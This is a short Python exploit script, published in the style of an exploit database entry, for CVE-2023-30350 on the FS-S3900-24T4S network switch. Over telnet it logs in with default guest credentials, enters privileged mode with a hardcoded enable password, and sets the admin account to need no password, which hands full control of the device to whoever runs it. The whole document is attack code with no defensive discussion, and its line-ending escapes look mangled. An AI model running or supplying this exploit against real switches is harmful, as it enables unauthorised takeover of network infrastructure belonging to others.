FS-S3900-24T4S Privilege Escalation

# Exploit Title: FS-S3900-24T4S Privilege Escalation
# Date: 29/04/2023
# Exploit Author: Daniele Linguaglossa & Alberto Bruscino
# Vendor Homepage: https://www.fs.com/
# Software Link: not available
# Version: latest
# Tested on: latest
# CVE : CVE-2023-30350

import sys
import telnetlib


def exploit(args):
    print(args)
    if len(args) != 1:
        print(f"Usage: {sys.argv[0]} <ip>")
        sys.exit(1)
    else:
        ip = args[0]
        try:
            with telnetlib.Telnet(ip, 23) as tn:
                try:
                    tn.read_until(b"Username: ")
                    tn.write(b"guestrn")
                    tn.read_until(b"Password: ")
                    tn.write(b"guestrn")
                    tn.read_until(b">")
                    tn.write(b"enablern")
                    tn.read_until(b"Password: ")
                    tn.write(b"superrn")
                    tn.read_until(b"#")
                    tn.write(b"configure terminalrn")
                    tn.read_until(b"(config)#")
                    tn.write(b"username admin nopasswordrn")
                    tn.read_until(b"(config)#")
                    print(
                        "Exploit success, you can now login with username: admin and password: <empty>")
                    tn.close()
                except KeyboardInterrupt:
                    print("Exploit failed")
                    tn.close()
        except ConnectionRefusedError:
            print("Connection refused")


if __name__ == "__main__":
    exploit(sys.argv[1:])